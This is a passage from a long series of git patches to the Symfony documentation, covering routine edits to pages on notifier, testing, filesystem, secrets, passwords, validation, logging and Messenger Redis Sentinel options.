 OneSignal       ``symfony/one-signal-notifier``        ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID''``
 ==============  ====================================  =================================================================================
 
-.. versionadded:: 5.4
-
-    The Expo and OneSignal integrations were introduced in Symfony 5.4.
-
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From f9f61db5637caa1b9eb145171b6dc96403c64f30 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Mon, 8 Nov 2021 15:44:14 +0100
Subject: [PATCH 2682/7107] Update testing.rst

---
 testing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/testing.rst b/testing.rst
index 2f058ad8a5a..ca8cde0825f 100644
--- a/testing.rst
+++ b/testing.rst
@@ -899,10 +899,16 @@ Response Assertions
     Asserts the response format returned by the
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
+``assertResponseIsUnprocessable(string $message = '')`` 
+    Asserts the response is unprocessable (HTTP status is 422)
 
 .. versionadded:: 5.3
 
     The ``assertResponseFormatSame()`` method was introduced in Symfony 5.3.
+    
+.. versionadded:: 5.4
+
+    The ``assertResponseIsUnprocessable()`` method was introduced in Symfony 5.4.   
 
 Request Assertions
 ..................

From 263bdd7f821a1208c70f1b64a48c0957516595f0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Nov 2021 16:19:02 +0100
Subject: [PATCH 2683/7107] [Notifier] Minor tweak

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index c0aa0ac125f..e3e96f847c3 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -38,7 +38,7 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
-* Push Channel sends notifications to phones via push notifications.
+* Push Channel sends notifications to phones and browsers via push notifications.
 
 .. tip::
 

From 78e6f65a7910ece4d9490f55212ba5004df2eb3e Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Mon, 8 Nov 2021 15:24:00 +0100
Subject: [PATCH 2684/7107] Update filesystem.rst

---
 components/filesystem.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 447c95f7ff5..2a1843ead2a 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -311,10 +311,16 @@ The ``file.txt`` file contains ``Hello World`` now.
 contents at the end of some file::
 
     $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com');
+    // with the third argument set to true you can lock the file when writing to it.
+    $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com', true);
 
 If either the file or its containing directory doesn't exist, this method
 creates them before appending the contents.
 
+.. versionadded:: 5.4
+
+    The third argument ``$lock`` was introduced in Symfony 5.4.
+
 Error Handling
 --------------
 

From 7dd29957a7413194f318cbcf92ecf55ea033d40c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Nov 2021 16:44:41 +0100
Subject: [PATCH 2685/7107] Minor tweaks

---
 components/filesystem.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 2a1843ead2a..821a5f801fd 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -311,7 +311,7 @@ The ``file.txt`` file contains ``Hello World`` now.
 contents at the end of some file::
 
     $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com');
-    // with the third argument set to true you can lock the file when writing to it.
+    // the third argument tells whether the file should be locked when writing to it
     $filesystem->appendToFile('logs.txt', 'Email sent to user@example.com', true);
 
 If either the file or its containing directory doesn't exist, this method
@@ -319,7 +319,7 @@ creates them before appending the contents.
 
 .. versionadded:: 5.4
 
-    The third argument ``$lock`` was introduced in Symfony 5.4.
+    The third argument of ``appendToFile()`` was introduced in Symfony 5.4.
 
 Error Handling
 --------------

From ab5b1c236d84a94f80902c1633d856a9712d22a9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Nov 2021 16:47:00 +0100
Subject: [PATCH 2686/7107] Remove a versionadded directive

---
 components/filesystem.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index aed1976b3b8..d26ff7e83d9 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -313,10 +313,6 @@ contents at the end of some file::
 If either the file or its containing directory doesn't exist, this method
 creates them before appending the contents.
 
-.. versionadded:: 5.4
-
-    The third argument of ``appendToFile()`` was introduced in Symfony 5.4.
-
 Error Handling
 --------------
 

From 2e4647d18fd569fb1591cec1d51d780fb1b75c69 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Mon, 8 Nov 2021 19:25:22 +0100
Subject: [PATCH 2687/7107] [FrameworkBundle] Document secret rename logic

---
 configuration/secrets.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 79d0071fde3..c1a342e9b72 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -98,6 +98,10 @@ in ``config/secrets/prod``. You can also set the secret in a few other ways:
     # or let Symfony generate a random value for you
     $ php bin/console secrets:set REMEMBER_ME --random
 
+.. note::
+
+    If you need to rename a secret, you must create the new one and remove the old one.
+
 Referencing Secrets in Configuration Files
 ------------------------------------------
 

From 4b6e7d26280a12d893438b68710f21d6b73137b0 Mon Sep 17 00:00:00 2001
From: Samuel NELA <hello@samnela.com>
Date: Mon, 8 Nov 2021 20:10:50 +0100
Subject: [PATCH 2688/7107] Fix method for the user password hasher service

---
 security/passwords.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 25c24354568..521be799277 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -230,7 +230,7 @@ After configuring the correct algorithm, you can use the
                 $plaintextPassword = ...;
 
                 // hash the password (based on the security.yaml config for the $user class)
-                $hashedPassword = $passwordHasher->hash(
+                $hashedPassword = $passwordHasher->hashPassword(
                     $user,
                     $plaintextPassword
                 );
@@ -260,7 +260,7 @@ After configuring the correct algorithm, you can use the
         $plaintextPassword = ...;
 
         // hash the password (based on the password hasher factory config for the $user class)
-        $hashedPassword = $passwordHasher->hash(
+        $hashedPassword = $passwordHasher->hashPassword(
             $user,
             $plaintextPassword
         );

From 3e4c7d78d0287346257fa2884afec189ce43d215 Mon Sep 17 00:00:00 2001
From: gndk <25748293+gndk@users.noreply.github.com>
Date: Mon, 8 Nov 2021 20:12:45 +0100
Subject: [PATCH 2689/7107] Update type declaration for Doctrine DBAL
 Connection

In doctrine/dbal 3.0.0 Doctrine\DBAL\Driver\Connection has become an
internal interface and the wrapper-level Doctrine\DBAL\Connection should
be used.
---
 doctrine/dbal.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index e330fd85732..8459b597faa 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -47,7 +47,7 @@ object::
     // src/Controller/UserController.php
     namespace App\Controller;
 
-    use Doctrine\DBAL\Driver\Connection;
+    use Doctrine\DBAL\Connection;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
 

From 2ffdccb549df458ba43e3ea4091727692967d319 Mon Sep 17 00:00:00 2001
From: Samuel ROZE <samuel.roze@gmail.com>
Date: Mon, 8 Nov 2021 18:49:30 +0000
Subject: [PATCH 2690/7107] Move myself alongside the inactive Core team
 members.

---
 contributing/code/core_team.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 11e975d75e1..5b9d2222ab8 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -65,7 +65,6 @@ Active Core Members
   * **Ryan Weaver** (`weaverryan`_);
   * **Robin Chalas** (`chalasr`_);
   * **Maxime Steinhausser** (`ogizanagi`_);
-  * **Samuel Rozé** (`sroze`_);
   * **Yonel Ceruto** (`yceruto`_);
   * **Tobias Nyholm** (`Nyholm`_);
   * **Wouter De Jong** (`wouterj`_);
@@ -106,7 +105,8 @@ Symfony contributions:
 * **Jordi Boggiano** (`Seldaek`_);
 * **Lukas Kahwe Smith** (`lsmith77`_);
 * **Jules Pietri** (`HeahDude`_);
-* **Jakub Zalas** (`jakzal`_).
+* **Jakub Zalas** (`jakzal`_);
+* **Samuel Rozé** (`sroze`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 7a126d8fb8ee63e62b914ab60e2e1099513ba479 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 10 Nov 2021 08:29:22 +0100
Subject: [PATCH 2691/7107] [Security] Fix option name in comment

---
 security/access_control.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 68c659095b2..fa27a1c233e 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -301,7 +301,7 @@ key:
             access_control:
                 -
                     path: ^/_internal/secure
-                    # the 'role' and 'allow-if' options work like an OR expression, so
+                    # the 'roles' and 'allow-if' options work like an OR expression, so
                     # access is granted if the expression is TRUE or the user has ROLE_ADMIN
                     roles: 'ROLE_ADMIN'
                     allow_if: "'127.0.0.1' == request.getClientIp() or request.headers.has('X-Secure-Access')"

From b774cb042ebd790768e1da0917fe81e26318bbdc Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 10 Nov 2021 20:33:43 +0100
Subject: [PATCH 2692/7107] [Security] Minor fix

---
 security/access_control.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index fa27a1c233e..45850d8e289 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -301,7 +301,7 @@ key:
             access_control:
                 -
                     path: ^/_internal/secure
-                    # the 'roles' and 'allow-if' options work like an OR expression, so
+                    # the 'roles' and 'allow_if' options work like an OR expression, so
                     # access is granted if the expression is TRUE or the user has ROLE_ADMIN
                     roles: 'ROLE_ADMIN'
                     allow_if: "'127.0.0.1' == request.getClientIp() or request.headers.has('X-Secure-Access')"

From a80183fc00921a868c1b039df9b80a922584176d Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 10 Nov 2021 21:02:06 +0100
Subject: [PATCH 2693/7107] Fix link to fortrabbit article

---
 deployment.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 7761844d9d4..2e0f222cae1 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -46,7 +46,7 @@ Basic File Transfer
 The most basic way of deploying an application is copying the files manually
 via FTP/SCP (or similar method). This has its disadvantages as you lack control
 over the system as the upgrade progresses. This method also requires you
-to take some manual steps after transferring the files (see `Common Deployment Tasks`_)
+to take some manual steps after transferring the files (see `Common Deployment Tasks`_).
 
 Using Source Control
 ~~~~~~~~~~~~~~~~~~~~
@@ -278,7 +278,7 @@ Learn More
 .. _`Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4
 .. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html
 .. _`Azure`: https://azure.microsoft.com/en-us/develop/php/
-.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-4-uni
+.. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-5
 .. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
 .. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html

From 9963782f865f57677971d90f9fc78a19f5122935 Mon Sep 17 00:00:00 2001
From: chapterjason <chapterjason@users.noreply.github.com>
Date: Fri, 12 Nov 2021 16:14:05 +0100
Subject: [PATCH 2694/7107] Fix confusing character in class name

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 779820b9861..2e82bda0cab 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -114,7 +114,7 @@ Form type or ``ChoiceType`` configuration) to the label class.
         $builder
             ->add('myCheckbox', CheckboxType::class, [
                 'label_attr' => [
-                    'class' => '`checkbox-inline',
+                    'class' => 'checkbox-inline',
                 ],
             ])
             ->add('myRadio', RadioType::class, [

From 6f70302e93008c907dce6bc8c5a0ca1f0eee5382 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Nov 2021 16:23:04 +0100
Subject: [PATCH 2695/7107] [Validator] Cidr constraint tweaks

---
 reference/constraints/Cidr.rst | 45 +++++++++++++++-------------------
 1 file changed, 20 insertions(+), 25 deletions(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index 658a9910b7c..bb51a4826be 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -23,12 +23,12 @@ Basic Usage
 
     .. code-block:: php-annotations
 
-        // src/Entity/Author.php
+        // src/Entity/NetworkSettings.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class Author
+        class NetworkSettings
         {
             /**
              * @Assert\Cidr
@@ -38,12 +38,12 @@ Basic Usage
 
     .. code-block:: php-attributes
 
-        // src/Entity/Author.php
+        // src/Entity/NetworkSettings.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        class Author
+        class NetworkSettings
         {
             #[Assert\Cidr]
             protected $cidrNotation;
@@ -52,7 +52,7 @@ Basic Usage
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\Entity\Author:
+        App\Entity\NetworkSettings:
             properties:
                 cidrNotation:
                     - Cidr: ~
@@ -65,7 +65,7 @@ Basic Usage
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\Entity\Author">
+            <class name="App\Entity\NetworkSettings">
                 <property name="cidrNotation">
                     <constraint name="Cidr"/>
                 </property>
@@ -74,13 +74,13 @@ Basic Usage
 
     .. code-block:: php
 
-        // src/Entity/Author.php
+        // src/Entity/NetworkSettings.php
         namespace App\Entity;
 
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class Author
+        class NetworkSettings
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
@@ -103,34 +103,34 @@ Options
 This message is shown if the string is not a valid CIDR notation.
 
 ``netmaskMin``
-~~~~~~~~~~~
+~~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``0``
 
 It's a constraint for the lowest value a valid netmask may have.
 
 ``netmaskMax``
-~~~~~~~~~~~
+~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``32 for IPv4 or 128 for IPv6``
+**type**: ``string`` **default**: ``32`` for IPv4 or ``128`` for IPv6
 
 It's a constraint for the biggest value a valid netmask may have.
 
 ``netmaskRangeViolationMessage``
-~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The value of the netmask should be between {{ min }} and {{ max }}.``
 
-This message is shown if the value of the CIDR's netmask is bigger then the value of the `max_` or lower than
-the value of the `min_`.
+This message is shown if the value of the CIDR's netmask is bigger than the
+``netmaskMax`` value or lower than the ``netmaskMin`` value.
 
 You can use the following parameters in this message:
 
 ===============  ==============================================================
 Parameter        Description
 ===============  ==============================================================
-``{{ min }}``  The minimum value a CIDR netmask may have
-``{{ max }}``  The maximum value a CIDR netmask may have
+``{{ min }}``    The minimum value a CIDR netmask may have
+``{{ max }}``    The maximum value a CIDR netmask may have
 ===============  ==============================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc
@@ -141,15 +141,10 @@ Parameter        Description
 **type**: ``string`` **default**: ``all``
 
 This determines exactly *how* the CIDR notation is validated and can take one
-of a variety of different values:
-
-**All ranges**
+of these values:
 
-``4``
-    Validates for CIDR notations that have an IPv4.
-``6``
-    Validates for CIDR notations that have an IPv6.
-``all``
-    Validates all CIDR formats
+* ``4``: validates for CIDR notations that have an IPv4;
+* ``6``: validates for CIDR notations that have an IPv6;
+* ``all``: validates all CIDR formats.
 
 .. _`CIDR`: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing

From 3b32e4196a78f14fdec063dce76d98a6a471acb0 Mon Sep 17 00:00:00 2001
From: Abdellah Ramadan <ramadanabdel24@gmail.com>
Date: Sun, 14 Nov 2021 22:52:51 +0100
Subject: [PATCH 2696/7107] Update LoggerInterface hyperlink to GitHub page

On this line 'The logger service has different methods for different logging levels/priorities. See LoggerInterface for a list of all of the methods on the logger.' the LoggerInterface link leads to a 404 GitHub page. This PR is to update it to the correct link.
---
 logging.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging.rst b/logging.rst
index ae9ddd10a73..1b425283d83 100644
--- a/logging.rst
+++ b/logging.rst
@@ -41,7 +41,7 @@ To log a message, inject the default logger in your controller or service::
     }
 
 The ``logger`` service has different methods for different logging levels/priorities.
-See `LoggerInterface`_ for a list of all of the methods on the logger.
+See .. _`LoggerInterface`: https://github.com/php-fig/log/blob/master/src/LoggerInterface.php for a list of all of the methods on the logger.
 
 Monolog
 -------

From 09e26d1d2175a04e4171c237d14367db85f4904e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Nov 2021 09:08:47 +0100
Subject: [PATCH 2697/7107] Tweaks

---
 logging.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/logging.rst b/logging.rst
index 1b425283d83..d99724988e6 100644
--- a/logging.rst
+++ b/logging.rst
@@ -41,7 +41,7 @@ To log a message, inject the default logger in your controller or service::
     }
 
 The ``logger`` service has different methods for different logging levels/priorities.
-See .. _`LoggerInterface`: https://github.com/php-fig/log/blob/master/src/LoggerInterface.php for a list of all of the methods on the logger.
+See `LoggerInterface`_ for a list of all of the methods on the logger.
 
 Monolog
 -------
@@ -390,9 +390,9 @@ Learn more
     logging/monolog_regex_based_excludes
 
 .. _`the twelve-factor app methodology`: https://12factor.net/logs
-.. _PSR-3: https://www.php-fig.org/psr/psr-3/
+.. _`PSR-3`: https://www.php-fig.org/psr/psr-3/
 .. _`stderr`: https://en.wikipedia.org/wiki/Standard_streams#Standard_error_(stderr)
-.. _Monolog: https://github.com/Seldaek/monolog
-.. _LoggerInterface: https://github.com/php-fig/log/blob/master/Psr/Log/LoggerInterface.php
+.. _`Monolog`: https://github.com/Seldaek/monolog
+.. _`LoggerInterface`: https://github.com/php-fig/log/blob/master/src/LoggerInterface.php
 .. _`logrotate`: https://github.com/logrotate/logrotate
 .. _`Monolog Configuration`: https://github.com/symfony/monolog-bundle/blob/master/DependencyInjection/Configuration.php#L25

From 89f956493bc609a6da24ba03b3f15fd9f9669c6b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Nov 2021 16:10:19 +0100
Subject: [PATCH 2698/7107] [Testing] Add comments to the work-in-progress
 section

---
 .doctor-rst.yaml |  1 +
 testing.rst      | 11 +++++------
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index b1cd5645be8..86741f56f86 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -106,3 +106,4 @@ whitelist:
         - 'End to End Tests (E2E)'
         - '.. code-block:: php'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
+        - '..  End to End Tests (E2E)'
diff --git a/testing.rst b/testing.rst
index 1fe8e409a69..363abb9b98b 100644
--- a/testing.rst
+++ b/testing.rst
@@ -992,12 +992,11 @@ Mailer Assertions
     <jane@example.com>`` into ``jane@example.com``.
 
 .. TODO
-    End to End Tests (E2E)
-    ----------------------
-
-    * panther
-    * testing javascript
-    * UX or form collections as example?
+..  End to End Tests (E2E)
+..  ----------------------
+..  * panther
+..  * testing javascript
+..  * UX or form collections as example?
 
 Learn more
 ----------

From 33c5b6be42f29675f5cbc5f0ccfc8b5df3cd89de Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maikel=20Ortega=20Hern=C3=A1ndez?= <maikeloh@gmail.com>
Date: Mon, 15 Nov 2021 12:53:39 -0500
Subject: [PATCH 2699/7107] Update workflow docs for $context  in GuardEvent

Make the doc reflect the current behavior for $context on GuardEvent to avoid confusing use of the events $context
---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 1d70f38b0d6..2d3fdb9352c 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -388,7 +388,7 @@ order:
 
     .. versionadded:: 5.2
 
-        In Symfony 5.2, the context is accessible in all events::
+        In Symfony 5.2, the context is customizable for all events except for workflow.guard events, which will not receive the custom $context::
 
             // $context must be an array
             $context = ['context_key' => 'context_value'];

From 0fb9a0add2e52a4478c936a98664b13c16b00df7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Nov 2021 09:28:20 +0100
Subject: [PATCH 2700/7107] [Filesystem] Minor tweaks

---
 components/filesystem.rst | 14 +-------------
 1 file changed, 1 insertion(+), 13 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index d739526b84f..46c88d73d7d 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -32,24 +32,12 @@ endpoint for filesystem operations::
         echo "An error occurred while creating your directory at ".$exception->getPath();
     }
 
-.. note::
-
-    Methods :method:`Symfony\\Component\\Filesystem\\Filesystem::mkdir`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::exists`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::touch`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::remove`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chmod`,
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chown` and
-    :method:`Symfony\\Component\\Filesystem\\Filesystem::chgrp` can receive a
-    string, an array or any object implementing :phpclass:`Traversable` as
-    the target argument.
-
 ``mkdir``
 ~~~~~~~~~
 
 :method:`Symfony\\Component\\Filesystem\\Filesystem::mkdir` creates a directory recursively.
 On POSIX filesystems, directories are created with a default mode value
-`0777`. You can use the second argument to set your own mode::
+``0777``. You can use the second argument to set your own mode::
 
     $filesystem->mkdir('/tmp/photos', 0700);
 

From 57edf91e2d42a4280f243f0050449a5dfa0bde01 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micka=C3=ABl=20Isaert?= <mickael.isaert@gmail.com>
Date: Tue, 16 Nov 2021 12:30:09 +0100
Subject: [PATCH 2701/7107] [Security] Add example with PHP attributes for
 login link

---
 security/login_link.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index e5680ea5de3..86406f9b316 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -108,6 +108,23 @@ intercept requests to this route:
                 throw new \LogicException('This code should never be reached');
             }
         }
+        
+    .. code-block:: php-attributes
+    
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/login_check', name: 'login_check')]
+            public function check()
+            {
+                throw new \LogicException('This code should never be reached');
+            }
+        }
 
     .. code-block:: yaml
 

From 29a024acb0bf43e920e28aa080ff141123105fbb Mon Sep 17 00:00:00 2001
From: Harry van der Valk <xxlfalcon@gmail.com>
Date: Tue, 16 Nov 2021 17:06:38 +0100
Subject: [PATCH 2702/7107] Change $requestStack to $this->requestStack

Within the __invoke() method a call was made to $requestStack. This update will use the private $requestStack property as defined in the SessionRequestProcessor class.
---
 logging/processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 3c4faacda5f..fbc7d14c151 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -35,7 +35,7 @@ using a processor::
         public function __invoke(array $record)
         {
             try {
-                $session = $requestStack->getSession();
+                $session = $this->requestStack->getSession();
             } catch (SessionNotFoundException $e) {
                 return;
             }

From 9931fd6bbd56a8a7a5ed4b32557b2efb3d9855fc Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Wed, 17 Nov 2021 00:19:49 +0330
Subject: [PATCH 2703/7107] Update doctrine.rst

---
 doctrine.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 97d4fa79c86..02260346d57 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -233,9 +233,11 @@ already installed:
 
 If everything worked, you should see something like this:
 
+.. code-block:: text
+
     SUCCESS!
 
-    Next: Review the new migration "migrations/Version20180207231217.php"
+    Next: Review the new migration "migrations/Version20211116204726.php"
     Then: Run the migration with php bin/console doctrine:migrations:migrate
 
 If you open this file, it contains the SQL needed to update your database! To run

From c4fe71f03557c8c847557f569337bfc3dd6db729 Mon Sep 17 00:00:00 2001
From: Schultheisz Norbert <schultheisz.norbert@webshippy.com>
Date: Thu, 21 Oct 2021 10:51:52 +0200
Subject: [PATCH 2704/7107] [Messenger] Redis Sentinel support

---
 messenger.rst | 78 ++++++++++++++++++++++++++++++---------------------
 1 file changed, 46 insertions(+), 32 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index cbbd7e6b31f..0e3b8f51b0d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1441,38 +1441,47 @@ A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
 
-===================  =====================================  =================================
-Option               Description                            Default
-===================  =====================================  =================================
-stream               The Redis stream name                  messages
-group                The Redis consumer group name          symfony
-consumer             Consumer name used in Redis            consumer
-auto_setup           Create the Redis group automatically?  true
-auth                 The Redis password
-delete_after_ack     If ``true``, messages are deleted      false
-                     automatically after processing them
-delete_after_reject  If ``true``, messages are deleted      true
-                     automatically if they are rejected
-lazy                 Connect only when a connection is      false
-                     really needed
-serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                     in Redis (the
-                     ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
-                     the stream will be trimmed to. Set
-                     it to a large enough number to
-                     avoid losing pending messages
-tls                  Enable TLS support for the connection  false
-redeliver_timeout    Timeout before retrying a pending      ``3600``
-                     message which is owned by an
-                     abandoned consumer (if a worker died
-                     for some reason, this will occur,
-                     eventually you should retry the
-                     message) - in seconds.
-claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
-                     messages should be checked for to
-                     claim - in milliseconds
-===================  =====================================  =================================
+======================= =====================================  =================================
+     Option               Description                          Default
+======================= =====================================  =================================
+stream                  The Redis stream name                  messages
+group                   The Redis consumer group name          symfony
+consumer                Consumer name used in Redis            consumer
+auto_setup              Create the Redis group automatically?  true
+auth                    The Redis password
+delete_after_ack        If ``true``, messages are deleted      false
+                        automatically after processing them
+delete_after_reject     If ``true``, messages are deleted      true
+                        automatically if they are rejected
+lazy                    Connect only when a connection is      false
+                        really needed
+serializer              How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                        in Redis (the
+                        ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries      The maximum number of entries which    ``0`` (which means "no trimming")
+                        the stream will be trimmed to. Set
+                        it to a large enough number to
+                        avoid losing pending messages
+tls                     Enable TLS support for the connection  false
+redeliver_timeout       Timeout before retrying a pending      ``3600``
+                        message which is owned by an
+                        abandoned consumer (if a worker died
+                        for some reason, this will occur,
+                        eventually you should retry the
+                        message) - in seconds.
+claim_interval          Interval on which pending/abandoned    ``60000`` (1 Minute)
+                        messages should be checked for to
+                        claim - in milliseconds
+sentinel_persistent_id  String, if null connection is          null
+                        non-persistent.                                                                
+sentinel_retry_interval Int, value in milliseconds             ``0``                            
+sentinel_read_timeout   Float, value in seconds                ``0``
+                        default indicates unlimited                                             
+sentinel_timeout        Float, value in seconds                ``0``
+                        default indicates unlimited                 
+sentinel_master         String, if null or empty Sentinel      null
+                        support is disabled
+======================= =====================================  =================================
 
 .. caution::
 
@@ -1500,6 +1509,11 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 .. versionadded:: 5.2
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
+	
+.. versionadded:: 5.4
+
+    The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,
+    ``sentinel_timeout``, and ``sentinel_master`` options were introduced in Symfony 5.4.
 
 .. deprecated:: 5.4
 

